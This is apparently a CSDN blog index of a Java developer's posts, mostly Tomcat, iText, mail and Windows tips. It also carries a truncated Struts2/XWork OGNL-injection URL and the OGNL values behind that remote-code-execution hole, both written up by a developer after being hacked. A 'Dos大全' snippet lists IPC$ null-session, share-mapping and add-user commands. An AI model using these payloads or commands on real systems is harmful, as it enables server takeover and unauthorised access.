![](https://img-blog.csdnimg.cn/20201014180756928.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
Java技术
qm4050
这个作者很懒,什么都没留下…
展开
-
Xwork 攻击链接
http://127.0.0.1/Userinfo-login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u00原创 2013-07-23 10:26:19 · 2019 阅读 · 0 评论 -
HTC S710D 4.0 Andorid 终于发布了
HTC S710D 4.0 Andorid 终于发布了 今天检察了一下更新,终于有了,哈哈! 大家快更新吧!原创 2012-06-25 15:06:10 · 843 阅读 · 0 评论 -
让磁盘性能翻三倍
之前听到人家说磁盘单元设置越大,性能越好。由于是装了一个PE在硬盘上,启动进入到PE,把整个硬盘格成了64bit单元大小的。不过没想到用鲁大师一测,原来59分的,现在只有48分了。哎,那个气啊。不过磁盘拷贝东西的速度到是快了很多。我的两硬盘,数据转移时最高可以到80m/s。为了把分数拉上来,我把笔记本内存加到了8G,设置了1G的虚拟磁盘,另外1G做了磁盘缓存。没到到那个设置了廷时的缓存,竟让磁原创 2012-05-21 23:36:53 · 2222 阅读 · 1 评论 -
Android SDK 更新问题
在SDK Manager下Tools->Options打开了SDK Manager的Settings,选中“Force https://… sources to be fetched using http://…”,强制使用http协议。如果公司是用代理上网的还要设置一下代理。Windows在C:\WINDOWS\system32\drivers\etc打开/etc/hosts文件,添加原创 2012-05-30 16:02:40 · 1126 阅读 · 0 评论 -
回归简洁
好些时间没上过CSDN了,今天进来看一下个人主页。做的很不错哦。简单明了,布局清晰。希望CSDN越做越好。 同时我也发现一个问题,真正好的东西都是做的很简洁的。像facebook,google。他们的页面都是如此,让人一目了解。 往往空旷的原野才是人们所喜欢的,没有多少人喜欢堆满了乱七八糟的小房间。 CSDN的下载,广告太多了,希望也能像首页一原创 2012-04-20 11:10:21 · 1016 阅读 · 2 评论 -
Tomcat集群和负载均衡
第一部分:负载均衡 下载安装apche,tomcat http://download.csdn.net/detail/qm4050/3891699 下载Apache 2.0.64 http://download.csdn.net/detail/qm4050/3891714下载tomcat5.5 zip版本(解压即可,绿色版) http://downl原创 2011-12-07 15:30:24 · 8555 阅读 · 4 评论 -
Windows 8开机时间
最近老是看到说windows 8 开机快,兼容好。其实开机真的是很快10几秒的样子就Ok了,不过关机那个慢啊,虽然屏幕是黑了,不过硬盘还在写,写了N长时间。兼容性,我没发现它能兼容什么东西。原创 2011-11-29 16:08:35 · 842 阅读 · 1 评论 -
Tomcat高并发配置
java 环境配置:export JAVA_OPTS="-server -Xms8g -Xmx8g -Xss128k -XX:ParallelGCThreads=20-XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:SurvivorRatio=8-XX:TargetSurvivorRatio=90 -XX:MaxTenuringThreshold原创 2011-10-27 09:49:47 · 9082 阅读 · 3 评论 -
禁用 CTRL+ALT+DEL
今天由于公司其它组的一个小项目部署在终端机上,需要在开机时打开一个浏览器,并禁用CTRL+ALT+DEL。于是我在网上找了一个,大部分是答非所问,或者是乱说的。在csdn中看到有.dll文件下载,不过分数真的是高。后来还是在百度找到了答案,和大家分享一下。(我用的是xp)(1)在开始菜单“运行”对话框键入"gpedit.msc"打开“组策略”设置。 展开“本地计算机策略”→“用户配置原创 2011-10-26 18:37:41 · 1052 阅读 · 0 评论 -
HTML在线编辑器原理
以前也用过HTML在线编辑器,但是一直不太清楚是怎么回事,今天在网上找了一下终于知道是怎么一回事了。示例下载地址:http://download.csdn.net/detail/qm4050/4981646一、首先来看一个例子:Hello World!这个DIV就变成可以编辑的了。类似的,SPAN,FONT等都可以有 contente原创 2013-01-10 15:39:13 · 7246 阅读 · 0 评论 -
Struts2 S标签 数字格式化成金额输出
JSP: Action: //格式化数字显示 public String formatDouble(double s){ DecimalFormat fmt = new DecimalFormat("\u00A4##0.00"); return fmt.format(s); } 其实我不喜欢用S标签,没办法,人家写的,要改原创 2013-01-17 16:23:36 · 6595 阅读 · 0 评论 -
Domino 生成邮件到草稿箱
相关架包下载地址:http://download.csdn.net/detail/qm4050/5531483代码如下:import java.io.File;import lotus.domino.Database;import lotus.domino.Document;import lotus.domino.Item;import lotus.do原创 2013-06-06 15:11:14 · 1980 阅读 · 0 评论 -
Itext PDF生成 加水印图片文字
由于项目中用到,所以网上找了很多,但或多或少有些问题,我整理更新了一下。Itext架包下载地址:http://download.csdn.net/detail/qm4050/5531349PDF生成代码如下:import java.io.*;import com.itextpdf.text.*;import com.itextpdf.text.pdf.*原创 2013-06-06 15:02:08 · 26889 阅读 · 2 评论 -
国内外免费主机
一、Souceforgehttp://sourceforge.net/我用过的最好的免费主机,功能非常强大。版本控制,数据库等等功能一应具全。但是部署的项目国内不能访问,只能用代理等访问。感觉痛苦。二、新浪云主机http://sae.sina.com.cn/国内的一个比较好的免费云主机。有些类似souceforge,功能齐全。原创 2013-06-04 17:57:19 · 2513 阅读 · 0 评论 -
SVN服务器安装 Myeclipse SVN配置
TortoiseSVN-1.7.13.24257-win32 下载SVN服务器 下载http://download.csdn.net/detail/qm4050/5517251VisualSVN-Server-2.5.9 SVN服务器 下载http://download.csdn.net/detail/qm4050/5517195原创 2013-06-04 17:37:15 · 2595 阅读 · 0 评论 -
Itext PDF加密 ASN1OctetString 出错
最近用Itext生成PDF老是碰打不到一些类的问题。java.lang.NoClassDefFoundError: org/bouncycastle/asn1/ASN1OctetString从网上找了一下,这个包可以解决,所以拿出来共享一下。http://download.csdn.net/detail/qm4050/5550885原创 2013-06-09 10:30:21 · 5669 阅读 · 2 评论 -
Struts2/XWork远程执行任意代码漏洞
前段时间遇到黑客,才知道这个问题,找了一些资料了解一下通过修改一些值能够调用被保护的Java代码,并且执行任意的Java代码:#_memberAccess['allowStaticMethodAccess'] = true#foo = new java .lang.Boolean("false")#context['xwork.MethodAccesso原创 2013-02-28 11:04:13 · 1901 阅读 · 0 评论 -
JAVA代码实现执行CMD命令
public class Text5 {public static void main(String[] args) {Runtime runtime=Runtime.getRuntime();try{runtime.exec("cmd /c start C://a.txt");}catch(Exception e){System.out.println("Error!")原创 2011-03-23 00:19:00 · 65592 阅读 · 0 评论 -
应用服务器上在线备份Oracle数据库代码
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader; class StreamGobbler extends Thread { InputStream is; String type;原创 2013-02-28 10:34:34 · 1225 阅读 · 0 评论 -
Eclipse打war包
Eclipse打war包方法 收藏 在网上找Eclipse打包的方法,搜了许久,也没找到比较好的办法,之前知道可以通过用命令来打包外,一直想找像Jbuilder开发工具中的可以在编译的同时一起打war包的方法,可以没找到。于是自己模索了一下,终于知道怎么做了,现在把经验写下来转载 2011-08-03 11:08:00 · 12413 阅读 · 1 评论 -
EL表达试取整数
<br /><fmt:formatNumber type="number" value="${8/7)}" maxFractionDigits="0"/><br />maxFractionDigits="0"表示保留0位小数,即取整,注意:此时取的整数是四舍五入的。原创 2011-05-09 19:33:00 · 1992 阅读 · 0 评论 -
微软、谷歌、百度等公司经典面试100题
<br />微软、谷歌、百度等公司经典面试100题<br />http://blog.csdn.net/v_JULY_v/archive/2011/03/09/6234496.aspx转载 2011-03-11 23:53:00 · 846 阅读 · 1 评论 -
远程调试tomcat
<br /><br />在做远程调试时,在windows系统和非windows系统下的配置,Tomcat中会有所差别,具体如下:<br />第一步、配置tomcat<br />一、在windows系统中:<br />打开%CATALINE_HOME%/bin下的文件catalina.bat,加入下面这行:<br />set CATALINA_OPTS=-server -Xdebug-Xnoagent-Djava.compiler=NONE-Xrunjdwp:transport=dt_socket,s原创 2011-03-11 23:38:00 · 751 阅读 · 0 评论 -
java类初始化的顺序
<br />无意中在csdn的论坛看到这样一个程序段:<br />class Singleton { <br /> <br /> private static Singleton obj = new Singleton(); <br /> <br /> public static int counter1; <br /> <br /> public static int counter2 = 0; <br /> <br /> private Singleton() {原创 2011-03-10 20:32:00 · 415 阅读 · 0 评论 -
面试题(两个亿位数相乘)
<br /> <br />public class Text2{<br />//1234567890<br />public static void main(String[] args){ <br />//a,b两个任意十位数<br />int[] a=new int[]{1,2,3,4,5,6,7,8,9,0};<br />int[] b=new int[]{1,2,3,4,5,6,7,8,9,0};<br /><br />int[] sum=new int[21];//结果<br />int[] su原创 2011-03-09 15:58:00 · 1044 阅读 · 0 评论 -
微软的两道智力题
<br />病狗问题<br /><br /> 一个住宅区内有100户人家,每户人家养一条狗,每天傍晚大家都在同一个地方遛狗。已知这些狗中有一部分病狗,由于某种原因,狗的主人无法判断自己的狗 是否是病狗,却能够分辨其他的狗是否有病,现在,上级传来通知,要求住户处决这些病狗,并且不允许指认他人的狗是病狗(就是只能判断自己的),过了7天之 后,所有的病狗都被处决了,问,一共有几只病狗?为什么?<br /><br />答案:<br />7只(数学归纳法证明)<br /><br /> 1)若只有1只病狗,因为病转载 2011-03-09 22:35:00 · 1285 阅读 · 0 评论 -
Eclipse 常用快捷键
<br />Eclipse 常用快捷键<br /><br />Eclipse的编辑功能非常强大,掌握了Eclipse快捷键功能,能够大大提高开发效率。Eclipse中有如下一些和编辑相关的快捷键。 <br /> 1. 【ALT+/】 <br /> 此快捷键为用户编辑的好帮手,能为用户提供内容的辅助,不要为记不全方法和属性名称犯愁,当记不全类、方法和属性的名字时,多体验一下【ALT+/】快捷键带来的好处吧。 <br /> 2. 【Ctrl+O】 <br /> 显示类中方法和属性的大纲,能快速定转载 2011-03-08 12:47:00 · 604 阅读 · 0 评论 -
国外java、IT技术网站汇总
<br />1、http://www.onjava.com - O'Reilly的Java网站. 每周都有新文章.<br /><br />2、http://java.sun.com- 官方的Java开发者网站 - 每周都有新文章发表.<br /><br />3、http://www.developer.com/java - 由Gamelan.com 维护的Java技术文章网站.<br /><br />4、http://www.java.net - Sun公司维护的一个Java社区网站.<br原创 2011-03-06 23:31:00 · 1038 阅读 · 0 评论 -
CVS的简单使用
<br /> CVS是ConcurrentVersions System(并发版本系统)的简称。它是一个开放源代码的项目,是当前最流行的版本控制系统,目前绝大部分OpenSource项目都使用它来做版本管理。<br /> 由于Eclipse本身内置了CVS客户端,只要再建立一个CVS服务器就可以使用这一功能强大的版本控制系统。<br /> <br />CVS服务器端的安装与配置:<br /> 首先我们需要支下载,在家可以在baidu上找一下。我在csdn上发了一个,不过可能要2011年3月23原创 2011-03-22 20:59:00 · 665 阅读 · 1 评论 -
用JAVA打开本地文件
<br /> <br />public class Text5 {<br />public static void main(String[] args) {<br />Runtime runtime=Runtime.getRuntime();<br />try{<br />runtime.exec("cmd /c start C://a.txt");<br />}catch(Exception e){<br />System.out.println("Error!");<br />}<br />}<br原创 2011-03-23 00:13:00 · 984 阅读 · 0 评论 -
一个程序员的爱情故事
一个程序员的爱情故事转载 2011-05-25 10:28:00 · 997 阅读 · 0 评论 -
谈总体设计与代码质量
最近碰到一个二手项目。这个项目之前做了一年,总体设计可以说还是不错的,而且文档也留下了。它整个设计都是一个微内核的设计思想,不过也正是由于这个原因,使它在性能上很不理想。 我觉得只要找一些性能很差的地方重构出来即可。但是另外一个同事却根本不看项目文档,就说它里面的代码写的太差,原创 2011-07-07 10:01:52 · 5511 阅读 · 22 评论 -
Zip打包原代码
<br /><br />import java.io.BufferedInputStream;<br />import java.io.BufferedOutputStream;<br />import java.io.File;<br />import java.io.FileInputStream;<br />import java.io.FileOutputStream;<br />import java.text.ParseException;<br />import java.text.Simpl原创 2011-05-09 09:44:00 · 734 阅读 · 1 评论 -
Tomcat路径问题
<br /> 今天做了一个web service的项目,但是我想把一些数据库存的配置放在项目下面。但是由于没有用到request等,所以得不到项目所在的路径。于是想用相对路径,我之前以为放在class文件下就可以了,不过后来用System.getProperty("user.dir")得到当前程序的路径时,才想起应该在bin目录下面。因为整个项目都是运行在tomcat下,也就是说在一个jvm下面。最后我选择把配置文件放在conf目录下面了。不知道是不是合适。原创 2011-05-04 11:00:00 · 772 阅读 · 0 评论 -
接收邮件
<br /><br />package com.test.mail;<br />import javax.mail.Store;<br />import javax.mail.FetchProfile;<br />import java.util.Properties;<br />import javax.mail.Session;<br />import javax.mail.Folder;<br />import javax.mail.Message;<br />import javax.mail.in转载 2011-05-04 15:10:00 · 551 阅读 · 0 评论 -
发送邮件
<br /><br />import java.util.*;<br />import java.io.*;<br />import javax.mail.*;<br />import javax.mail.internet.*;<br />import javax.activation.*;<br /> <br />public class SendMail {<br /> public static void main(String[] args) {<br /> try {<br转载 2011-05-04 15:04:00 · 631 阅读 · 0 评论 -
提升数据库查询的性能
数据库查询性能的提升也是涉及到开发中的各个阶段,在开发中选用正确的查询方法无疑是最基础也最简单的。1 、SQL语句的优化使用正确的SQL语句可以在很大程度上提高系统的查询性能。获得同样数据而采用不同方式的SQL语句在性能上的差距可能是十分巨大的。由于Hibernate是对JDBC的封装,SQL语句的产生都是动态由Hibernate自动完成的。Hibernate产生SQL语句的方式有两种:一种是通过开发人员编写的HQL语句来生成,另一种是依据开发人员对关联对象的访问来自动生成相应的SQL语句。至于使用什么样的转载 2011-04-27 17:52:00 · 707 阅读 · 0 评论 -
端口占用查看
在windows命令行窗口下执行: C:/>netstat -aon|findstr "9050" TCP 127.0.0.1:9050 0.0.0.0:0 LISTENING 2016 看到了吗,端口被进程号为2016的进程占用,继续执行下面命令: C:/>tasklist|findstr "2016原创 2011-06-17 10:38:00 · 482 阅读 · 1 评论 -
Dos大全
use //ip/ipc$ " " /user:" " 建立IPC空链接net use //ip/ipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: //ip/c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: //ip/c$ 登陆后映射对方C:到本地为H: net use //ip/ipc$ /del 删除IPC链接net use h: /del 删除映射对方到本地的为H:的映射net user 用户名密码 /add 建立用户n原创 2011-04-15 09:43:00 · 677 阅读 · 0 评论 -
人和动物最大的区别
<br />人和动物最大的区别就是:人善于使用工具。<br />做开发也一样原创 2011-03-06 17:41:00 · 766 阅读 · 0 评论